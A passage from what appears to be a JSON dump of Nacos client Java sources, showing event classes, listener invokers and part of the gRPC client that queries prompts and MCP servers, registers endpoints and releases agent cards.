promptKey, String version, String label, PromptListenerInvoker listenerInvoker) {\n        if (listenerInvoker == null) {\n            return;\n        }\n        String key = CacheKeyUtils.buildPromptKey(promptKey, version, label);\n        promptListenerInvokers.compute(key, (k, promptListenerInvokers) -> {\n            if (null == promptListenerInvokers) {\n                return null;\n            }\n            promptListenerInvokers.remove(listenerInvoker);\n            return promptListenerInvokers.isEmpty() ? null : promptListenerInvokers;\n        });\n    }\n    \n    /**\n     * check mcp server is subscribed.\n     *\n     * @param mcpName name of mcp server\n     * @param version version of mcp server\n     * @return is mcp server subscribed\n     */\n    public boolean isMcpServerSubscribed(String mcpName, String version) {\n        String mcpServerKey = CacheKeyUtils.buildMcpServerKey(mcpName, version);\n        return isSubscribed(mcpServerKey, mcpServerListenerInvokers);\n    }\n    \n    /**\n     * check agent card is subscribed.\n     *\n     * @param agentName name of agent card\n     * @param version version of agent card\n     * @return is agent card subscribed\n     */\n    public boolean isAgentCardSubscribed(String agentName, String version) {\n        String agentCardKey = CacheKeyUtils.buildAgentCardKey(agentName, version);\n        return isSubscribed(agentCardKey, agentCardListenerInvokers);\n    }\n    \n    /**\n     * check skill is subscribed.\n     *\n     * @param skillName name of skill\n     * @return is skill subscribed\n     */\n    public boolean isSkillSubscribed(String skillName) {\n        String skillKey = CacheKeyUtils.buildSkillKey(skillName);\n        return isSubscribed(skillKey, skillListenerInvokers);\n    }\n    \n    /**\n     * check prompt is subscribed.\n     *\n     * @param promptKey prompt key\n     * @return is prompt subscribed\n     */\n    public boolean isPromptSubscribed(String promptKey, String version, String label) {\n        String key = CacheKeyUtils.buildPromptKey(promptKey, version, label);\n        return isSubscribed(key, promptListenerInvokers);\n    }\n    \n    private <T extends AbstractAiListenerInvoker<?, ?>> boolean isSubscribed(String key,\n            Map<String, Set<T>> listenerInvokers) {\n        return CollectionUtils.isNotEmpty(listenerInvokers.get(key));\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/event/McpServerChangedEvent.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.event;\n\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.client.ai.utils.CacheKeyUtils;\nimport com.alibaba.nacos.common.notify.Event;\n\n/**\n * Nacos AI module mcp server changed event in nacos- client.\n *\n * @author xiweng.yy\n */\npublic class McpServerChangedEvent extends Event {\n    \n    private static final long serialVersionUID = 2010793364377243018L;\n    \n    private final String mcpName;\n    \n    private final String version;\n    \n    private final McpServerDetailInfo mcpServer;\n    \n    public McpServerChangedEvent(McpServerDetailInfo mcpServer) {\n        this.mcpServer = mcpServer;\n        this.mcpName = mcpServer.getName();\n        this.version = buildVersion(mcpServer);\n    }\n    \n    private String buildVersion(McpServerDetailInfo mcpServer) {\n        return mcpServer.getVersionDetail().getIs_latest() ? CacheKeyUtils.LATEST_VERSION\n                : mcpServer.getVersionDetail().getVersion();\n    }\n    \n    public String getMcpName() {\n        return mcpName;\n    }\n    \n    public String getVersion() {\n        return version;\n    }\n    \n    public McpServerDetailInfo getMcpServer() {\n        return mcpServer;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/event/McpServerListenerInvoker.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.event;\n\nimport com.alibaba.nacos.api.ai.listener.AbstractNacosMcpServerListener;\nimport com.alibaba.nacos.api.ai.listener.NacosMcpServerEvent;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * Nacos AI module mcp server listener invoker.\n *\n * @author xiweng.yy\n */\npublic class McpServerListenerInvoker\n        extends AbstractAiListenerInvoker<NacosMcpServerEvent, AbstractNacosMcpServerListener> {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(McpServerListenerInvoker.class);\n    \n    public McpServerListenerInvoker(AbstractNacosMcpServerListener listener) {\n        super(listener);\n    }\n    \n    protected void logInvoke(NacosMcpServerEvent event) {\n        LOGGER.info(\"Invoke event namespaceId: {}, mcpId: {}, mcpName: {} to Listener: {}\", event.getNamespaceId(),\n                event.getMcpId(), event.getMcpName(), listener.toString());\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/event/PromptChangedEvent.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.event;\n\nimport com.alibaba.nacos.api.ai.model.prompt.Prompt;\nimport com.alibaba.nacos.common.notify.Event;\n\n/**\n * Prompt changed event for internal notification.\n *\n * @author nacos\n */\npublic class PromptChangedEvent extends Event {\n    \n    private static final long serialVersionUID = 1L;\n    \n    private final String promptKey;\n    \n    private final String cacheKey;\n    \n    private final Prompt prompt;\n    \n    public PromptChangedEvent(String promptKey, String cacheKey, Prompt prompt) {\n        this.promptKey = promptKey;\n        this.cacheKey = cacheKey;\n        this.prompt = prompt;\n    }\n    \n    public String getPromptKey() {\n        return promptKey;\n    }\n    \n    public Prompt getPrompt() {\n        return prompt;\n    }\n    \n    public String getCacheKey() {\n        return cacheKey;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/event/PromptListenerInvoker.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.event;\n\nimport com.alibaba.nacos.api.ai.listener.AbstractNacosPromptListener;\nimport com.alibaba.nacos.api.ai.listener.NacosPromptEvent;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * Nacos AI module prompt listener invoker.\n *\n * @author nacos\n */\npublic class PromptListenerInvoker extends AbstractAiListenerInvoker<NacosPromptEvent, AbstractNacosPromptListener> {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(PromptListenerInvoker.class);\n    \n    public PromptListenerInvoker(AbstractNacosPromptListener listener) {\n        super(listener);\n    }\n    \n    @Override\n    protected void logInvoke(NacosPromptEvent event) {\n        LOGGER.info(\"Invoke event promptKey: {} to Listener: {}\", event.getPromptKey(), listener.toString());\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/event/SkillChangedEvent.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.event;\n\nimport com.alibaba.nacos.api.ai.model.skills.Skill;\nimport com.alibaba.nacos.common.notify.Event;\n\n/**\n * Nacos AI module skill changed event in nacos-client.\n *\n * @author nacos\n */\npublic class SkillChangedEvent extends Event {\n    \n    private static final long serialVersionUID = 2010793364377243018L;\n    \n    private final String skillName;\n    \n    private final Skill skill;\n    \n    public SkillChangedEvent(String skillName, Skill skill) {\n        this.skillName = skillName;\n        this.skill = skill;\n    }\n    \n    public String getSkillName() {\n        return skillName;\n    }\n    \n    public Skill getSkill() {\n        return skill;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/event/SkillListenerInvoker.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.event;\n\nimport com.alibaba.nacos.api.ai.listener.AbstractNacosSkillListener;\nimport com.alibaba.nacos.api.ai.listener.NacosSkillEvent;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * Nacos AI module skill listener invoker.\n *\n * @author nacos\n */\npublic class SkillListenerInvoker\n        extends AbstractAiListenerInvoker<NacosSkillEvent, AbstractNacosSkillListener> {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(SkillListenerInvoker.class);\n    \n    public SkillListenerInvoker(AbstractNacosSkillListener listener) {\n        super(listener);\n    }\n    \n    @Override\n    protected void logInvoke(NacosSkillEvent event) {\n        LOGGER.info(\"Invoke event skillName: {} to Listener: {}\", event.getSkillName(), listener.toString());\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/remote/AiClientProxy.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.remote;\n\nimport com.alibaba.nacos.api.ai.model.prompt.Prompt;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.lifecycle.Closeable;\n\n/**\n * AI client proxy interface for abstracting transport layer (gRPC / HTTP).\n *\n * <p>Defines AI operations that support switching between gRPC and HTTP transport.\n * Currently covers Prompt operations; extensible for Skill and other capabilities.</p>\n *\n * @author nacos\n */\npublic interface AiClientProxy extends Closeable {\n    \n    /**\n     * Query prompt by latest/version/label with optional md5 for conditional query.\n     *\n     * @param promptKey prompt key\n     * @param version   prompt version, optional\n     * @param label     prompt label, optional\n     * @param md5       client md5 for conditional query, optional\n     * @return prompt detail\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    Prompt queryPrompt(String promptKey, String version, String label, String md5) throws NacosException;\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/remote/AiGrpcClient.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.remote;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.constant.AbilityStatus;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentEndpoint;\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointSpec;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpToolSpecification;\nimport com.alibaba.nacos.api.ai.model.prompt.Prompt;\nimport com.alibaba.nacos.api.ai.remote.AiRemoteConstants;\nimport com.alibaba.nacos.api.ai.remote.request.AbstractAgentRequest;\nimport com.alibaba.nacos.api.ai.remote.request.AbstractMcpRequest;\nimport com.alibaba.nacos.api.ai.remote.request.AbstractPromptRequest;\nimport com.alibaba.nacos.api.ai.remote.request.AgentEndpointRequest;\nimport com.alibaba.nacos.api.ai.remote.request.BatchAgentEndpointRequest;\nimport com.alibaba.nacos.api.ai.remote.request.McpServerEndpointRequest;\nimport com.alibaba.nacos.api.ai.remote.request.QueryPromptRequest;\nimport com.alibaba.nacos.api.ai.remote.request.QueryAgentCardRequest;\nimport com.alibaba.nacos.api.ai.remote.request.QueryMcpServerRequest;\nimport com.alibaba.nacos.api.ai.remote.request.ReleaseAgentCardRequest;\nimport com.alibaba.nacos.api.ai.remote.request.ReleaseMcpServerRequest;\nimport com.alibaba.nacos.api.ai.remote.response.AgentEndpointResponse;\nimport com.alibaba.nacos.api.ai.remote.response.McpServerEndpointResponse;\nimport com.alibaba.nacos.api.ai.remote.response.QueryPromptResponse;\nimport com.alibaba.nacos.api.ai.remote.response.QueryAgentCardResponse;\nimport com.alibaba.nacos.api.ai.remote.response.QueryMcpServerResponse;\nimport com.alibaba.nacos.api.ai.remote.response.ReleaseAgentCardResponse;\nimport com.alibaba.nacos.api.ai.remote.response.ReleaseMcpServerResponse;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.api.remote.RemoteConstants;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport com.alibaba.nacos.client.address.AbstractServerListManager;\nimport com.alibaba.nacos.client.ai.cache.NacosAgentCardCacheHolder;\nimport com.alibaba.nacos.client.ai.cache.NacosMcpServerCacheHolder;\nimport com.alibaba.nacos.client.ai.remote.redo.AgentEndpointWrapper;\nimport com.alibaba.nacos.client.ai.remote.redo.AiGrpcRedoService;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.naming.core.NamingServerListManager;\nimport com.alibaba.nacos.client.naming.remote.http.NamingHttpClientManager;\nimport com.alibaba.nacos.client.security.SecurityProxy;\nimport com.alibaba.nacos.client.utils.AppNameUtils;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.common.remote.ConnectionType;\nimport com.alibaba.nacos.common.remote.client.RpcClient;\nimport com.alibaba.nacos.common.remote.client.RpcClientConfigFactory;\nimport com.alibaba.nacos.common.remote.client.RpcClientFactory;\nimport com.alibaba.nacos.common.remote.client.grpc.GrpcClientConfig;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.common.utils.ThreadUtils;\nimport com.alibaba.nacos.plugin.auth.api.RequestResource;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Collection;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Properties;\nimport java.util.UUID;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\nimport static com.alibaba.nacos.client.constant.Constants.Security.SECURITY_INFO_REFRESH_INTERVAL_MILLS;\n\n/**\n * Nacos AI GRPC protocol client.\n *\n * @author xiweng.yy\n */\npublic class AiGrpcClient implements AiClientProxy {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(AiGrpcClient.class);\n    \n    private final String namespaceId;\n    \n    private final String uuid;\n    \n    private final Long requestTimeout;\n    \n    private final RpcClient rpcClient;\n    \n    private final AbstractServerListManager serverListManager;\n    \n    private final AiGrpcRedoService redoService;\n\n    private final NacosClientProperties properties;\n\n    private SecurityProxy securityProxy;\n    \n    private NacosMcpServerCacheHolder mcpServerCacheHolder;\n    \n    private NacosAgentCardCacheHolder agentCardCacheHolder;\n\n    private ScheduledThreadPoolExecutor executorService;\n\n    public AiGrpcClient(String namespaceId, NacosClientProperties properties) {\n        this.namespaceId = namespaceId;\n        this.uuid = UUID.randomUUID().toString();\n        this.requestTimeout = Long.parseLong(properties.getProperty(AiConstants.AI_REQUEST_TIMEOUT, \"-1\"));\n        this.rpcClient = buildRpcClient(properties);\n        this.serverListManager = new NamingServerListManager(properties, namespaceId);\n        this.redoService = new AiGrpcRedoService(properties, this);\n        this.properties = properties;\n    }\n    \n    private RpcClient buildRpcClient(NacosClientProperties properties) {\n        Map<String, String> labels = new HashMap<>(3);\n        labels.put(RemoteConstants.LABEL_SOURCE, RemoteConstants.LABEL_SOURCE_SDK);\n        labels.put(RemoteConstants.LABEL_MODULE, RemoteConstants.LABEL_MODULE_AI);\n        labels.put(Constants.APPNAME, AppNameUtils.getAppName());\n        GrpcClientConfig grpcClientConfig = RpcClientConfigFactory.getInstance()\n                .createGrpcClientConfig(properties.asProperties(), labels);\n        return RpcClientFactory.createClient(uuid, ConnectionType.GRPC, grpcClientConfig);\n    }\n    \n    /**\n     * Start the grpc client.\n     *\n     * @throws NacosException nacos exception\n     */\n    public void start(NacosMcpServerCacheHolder mcpServerCacheHolder, NacosAgentCardCacheHolder agentCardCacheHolder)\n            throws NacosException {\n        this.mcpServerCacheHolder = mcpServerCacheHolder;\n        this.agentCardCacheHolder = agentCardCacheHolder;\n        this.serverListManager.start();\n        this.rpcClient.registerConnectionListener(this.redoService);\n        this.rpcClient.serverListFactory(this.serverListManager);\n        this.rpcClient.start();\n        this.securityProxy = new SecurityProxy(this.serverListManager,\n                NamingHttpClientManager.getInstance().getNacosRestTemplate());\n        initSecurityProxy(properties);\n    }\n\n    private void initSecurityProxy(NacosClientProperties properties) {\n        this.executorService = new ScheduledThreadPoolExecutor(1,\n                new NameThreadFactory(\"com.alibaba.nacos.client.ai.security\"));\n        final Properties nacosClientPropertiesView = properties.asProperties();\n        this.securityProxy.login(nacosClientPropertiesView);\n        this.executorService.scheduleWithFixedDelay(() -> securityProxy.login(nacosClientPropertiesView), 0,\n                SECURITY_INFO_REFRESH_INTERVAL_MILLS, TimeUnit.MILLISECONDS);\n    }\n    \n    /**\n     * Do query mcp server by mcpId and version.\n     *\n     * @param mcpName   name of mcp server\n     * @param version   version of mcp server, if input empty or null, return the latest version\n     * @return mcp server detail info\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    public McpServerDetailInfo queryMcpServer(String mcpName, String version) throws NacosException {\n        if (!isAbilitySupportedByServer(AbilityKey.SERVER_MCP_REGISTRY)) {\n            throw new NacosRuntimeException(NacosException.SERVER_NOT_IMPLEMENTED,\n                    \"Request Nacos server version is too low, not support mcp registry feature.\");\n        }\n        QueryMcpServerRequest request = new QueryMcpServerRequest();\n        request.setNamespaceId(namespaceId);\n        request.setMcpName(mcpName);\n        request.setVersion(version);\n        QueryMcpServerResponse response = requestToServer(request, QueryMcpServerResponse.class);\n        return response.getMcpServerDetailInfo();\n    }\n    \n    /**\n     * Query prompt by latest/version/label.\n     *\n     * @param promptKey prompt key\n     * @param version prompt version, optional\n     * @param label prompt label, optional\n     * @return prompt detail\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    public Prompt queryPrompt(String promptKey, String version, String label) throws NacosException {\n        return queryPrompt(promptKey, version, label, null);\n    }\n    \n    /**\n     * Query prompt by latest/version/label with optional md5.\n     *\n     * @param promptKey prompt key\n     * @param version prompt version, optional\n     * @param label prompt label, optional\n     * @param md5 client md5 for conditional query, optional\n     * @return prompt detail\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    public Prompt queryPrompt(String promptKey, String version, String label, String md5) throws NacosException {\n        QueryPromptRequest request = new QueryPromptRequest();\n        request.setNamespaceId(namespaceId);\n        request.setPromptKey(promptKey);\n        request.setVersion(version);\n        request.setLabel(label);\n        request.setMd5(md5);\n        QueryPromptResponse response = requestToServer(request, QueryPromptResponse.class);\n        return response.getPromptInfo();\n    }\n    \n    /**\n     * Do release mcp server.\n     *\n     * @param serverSpecification mcp server specification\n     * @param toolSpecification   mcp server tool specification, optional\n     * @return mcp id\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    public String releaseMcpServer(McpServerBasicInfo serverSpecification, McpToolSpecification toolSpecification,\n            McpEndpointSpec endpointSpecification) throws NacosException {\n        LOGGER.info(\"[{}] RELEASE Mcp server {}, version {}\", uuid, serverSpecification.getName(),\n                serverSpecification.getVersionDetail().getVersion());\n        if (!isAbilitySupportedByServer(AbilityKey.SERVER_MCP_REGISTRY)) {\n            throw new NacosRuntimeException(NacosException.SERVER_NOT_IMPLEMENTED,\n                    \"Request Nacos server version is too low, not support mcp registry feature.\");\n        }\n        ReleaseMcpServerRequest request = new ReleaseMcpServerRequest();\n        request.setNamespaceId(namespaceId);\n        request.setMcpName(serverSpecification.getName());\n        request.setServerSpecification(serverSpecification);\n        request.setToolSpecification(toolSpecification);\n        request.setEndpointSpecification(endpointSpecification);\n        ReleaseMcpServerResponse response = requestToServer(request, ReleaseMcpServerResponse.class);\n        return response.getMcpId();\n    }\n    \n    /**\n     * Register endpoint to target mcp server and cached to redo service.\n     *\n     * @param mcpName   name of mcp server\n     * @param address   address of mcp endpoint\n     * @param port      port of mcp endpoint\n     * @param version   version of mcp endpoint, if empty, the endpoint will return for all mcp version\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    public void registerMcpServerEndpoint(String mcpName, String address, int port, String version)\n            throws NacosException {\n        LOGGER.info(\"[{}] REGISTER Mcp server endpoint {}:{}, version {} into mcp server {}\", uuid, address, port,\n                version, mcpName);\n        if (!isAbilitySupportedByServer(AbilityKey.SERVER_MCP_REGISTRY)) {\n            throw new NacosRuntimeException(NacosException.SERVER_NOT_IMPLEMENTED,\n                    \"Request Nacos server version is too low, not support mcp registry feature.\");\n        }\n        redoService.cachedMcpServerEndpointForRedo(mcpName, address, port, version);\n        doRegisterMcpServerEndpoint(mcpName, address, port, version);\n    }\n    \n    /**\n     * Actual do Register endpoint to target mcp server.\n     *\n     * @param mcpName   name of mcp server\n     * @param address   address of mcp endpoint\n     * @param port      port of mcp endpoint\n     * @param version   version of mcp endpoint, if empty, the endpoint will return for all mcp version\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    public void doRegisterMcpServerEndpoint(String mcpName, String address, int port, String version)\n            throws NacosException {\n        McpServerEndpointRequest request = new McpServerEndpointRequest();\n        request.setNamespaceId(namespaceId);\n        request.setMcpName(mcpName);\n        request.setAddress(address);\n        request.setPort(port);\n        request.setVersion(version);\n        request.setType(AiRemoteConstants.REGISTER_ENDPOINT);\n        requestToServer(request, McpServerEndpointResponse.class);\n        redoService.mcpServerEndpointRegistered(mcpName);\n    }\n    \n    /**\n     * Deregister endpoint from target mcp server and cached to redo service.\n     *\n     * @param mcpName   name of mcp server\n     * @param address   address of mcp endpoint\n     * @param port      port of mcp endpoint\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    public void deregisterMcpServerEndpoint(String mcpName, String address, int port) throws NacosException {\n        LOGGER.info(\"[{}] DE-REGISTER Mcp server endpoint {}:{} from mcp server {}\", uuid, address, port, mcpName);\n        if (!isAbilitySupportedByServer(AbilityKey.SERVER_MCP_REGISTRY)) {\n            throw new NacosRuntimeException(NacosException.SERVER_NOT_IMPLEMENTED,\n                    \"Request Nacos server version is too low, not support mcp registry feature.\");\n        }\n        redoService.mcpServerEndpointDeregister(mcpName);\n        doDeregisterMcpServerEndpoint(mcpName, address, port);\n    }\n    \n    /**\n     * Actual do deregister endpoint from target mcp server.\n     *\n     * @param mcpName   name of mcp server\n     * @param address   address of mcp endpoint\n     * @param port      port of mcp endpoint\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    public void doDeregisterMcpServerEndpoint(String mcpName, String address, int port) throws NacosException {\n        McpServerEndpointRequest request = new McpServerEndpointRequest();\n        request.setNamespaceId(namespaceId);\n        request.setMcpName(mcpName);\n        request.setAddress(address);\n        request.setPort(port);\n        request.setType(AiRemoteConstants.DE_REGISTER_ENDPOINT);\n        requestToServer(request, McpServerEndpointResponse.class);\n        redoService.mcpServerEndpointDeregistered(mcpName);\n    }\n    \n    /**\n     * Subscribe mcp server latest version.\n     *\n     * @param mcpName   name of mcp server\n     * @param version   version of mcp server\n     * @return latest version mcp server\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    public McpServerDetailInfo subscribeMcpServer(String mcpName, String version) throws NacosException {\n        if (!isAbilitySupportedByServer(AbilityKey.SERVER_MCP_REGISTRY)) {\n            throw new NacosRuntimeException(NacosException.SERVER_NOT_IMPLEMENTED,\n                    \"Request Nacos server version is too low, not support mcp registry feature.\");\n        }\n        McpServerDetailInfo cachedServer = mcpServerCacheHolder.getMcpServer(mcpName, version);\n        if (null == cachedServer) {\n            try {\n                cachedServer = queryMcpServer(mcpName, version);\n                mcpServerCacheHolder.processMcpServerDetailInfo(cachedServer);\n            } catch (NacosException e) {\n                if (NacosException.NOT_FOUND != e.getErrCode()) {\n                    throw e;\n                }\n            }\n            mcpServerCacheHolder.addMcpServerUpdateTask(mcpName, version);\n        }\n        return cachedServer;\n    }\n    \n    /**\n     * Un-subscribe mcp server.\n     *\n     * @param mcpName   name of mcp server\n     * @param version   version of mcp server\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    public void unsubscribeMcpServer(String mcpName, String version) throws NacosException {\n        if (!isAbilitySupportedByServer(AbilityKey.SERVER_MCP_REGISTRY)) {\n            throw new NacosRuntimeException(NacosException.SERVER_NOT_IMPLEMENTED,\n                    \"Request Nacos server version is too low, not support mcp registry feature.\");\n        }\n        mcpServerCacheHolder.removeMcpServerUpdateTask(mcpName, version);\n    }\n    \n    /**\n     * Get agent card with nacos extension detail with target version.\n     *\n     * @param agentName        name of agent card\n     * @param version          target version, if null or empty, get latest version\n     * @param registrationType registration type\n     * @return agent card with nacos extension detail\n     * @throws NacosException if request parameter is invalid or agent card not found or handle error\n     */\n    public AgentCardDetailInfo getAgentCard(String agentName, String version, String registrationType)\n            throws NacosException {\n        if (!isAbilitySupportedByServer(AbilityKey.SERVER_AGENT_REGISTRY)) {\n            throw new NacosRuntimeException(NacosException.SERVER_NOT_IMPLEMENTED,\n                    \"Request Nacos server version is too low, not support agent registry feature.\");\n        }\n        QueryAgentCardRequest request = new QueryAgentCardRequest();\n        request.setNamespaceId(this.namespaceId);\n        request.setAgentName(agentName);\n        request.setVersion(version);\n        request.setRegistrationType(registrationType);\n        QueryAgentCardResponse response = requestToServer(request, QueryAgentCardResponse.class);\n        return response.getAgentCardDetailInfo();\n    }\n    \n    /**\n     * Release new agent card or new version.\n     *\n     * <p>\n     * If current agent card and version exist, This API will do nothing. If current agent card exist but version not\n     * exist, This API will release new version. If current t agent card not exist, This API will release new agent\n     * card.\n     * </p>\n     *\n     * @param agentCard        agent card need to release\n     * @param registrationType {@link AiConstants.A2a#A2A_ENDPOINT_TYPE_URL} or\n     *                         {@link AiConstants.A2a#A2A_ENDPOINT_TYPE_SERVICE}\n     * @param setAsLatest      whether set new version as latest, default is false. This parameter is only effect when new version is released.\n     *                         If current agent card not exist, whatever this parameter is, it will be set as latest.\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    public void releaseAgentCard(AgentCard agentCard, String registrationType, boolean setAsLatest)\n            throws NacosException {\n        LOGGER.info(\"[{}] Release Agent Card {}, version {}.\", uuid, agentCard.getName(), agentCard.getVersion());\n        if (!isAbilitySupportedByServer(AbilityKey.SERVER_AGENT_REGISTRY)) {\n            throw new NacosRuntimeException(NacosException.SERVER_NOT_IMPLEMENTED,\n                    \"Request Nacos server version is too low, not support agent registry feature.\");\n        }\n        ReleaseAgentCardRequest request = new ReleaseAgentCardRequest();\n        request.setNamespaceId(this.namespaceId);\n        request.setAgentName(agentCard.getName());\n        request.setRegistrationType(registrationType);\n        request.setAgentCard(agentCard);\n        request.setSetAsLatest(setAsLatest);\n        requestToServer(request, ReleaseAgentCardResponse.class);\n    }\n    \n    /**\n     * Register agent endpoint into agent.\n     *\n     * @param agentName agent name\n     * @param endpoint  agent endpoint\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    public void registerAgentEndpoint(String agentName, AgentEndpoint endpoint) throws NacosException {\n        LOGGER.info(\"[{}] REGISTER Agent endpoint {} into agent {}\", uuid, endpoint.toString(), agentName);\n        if 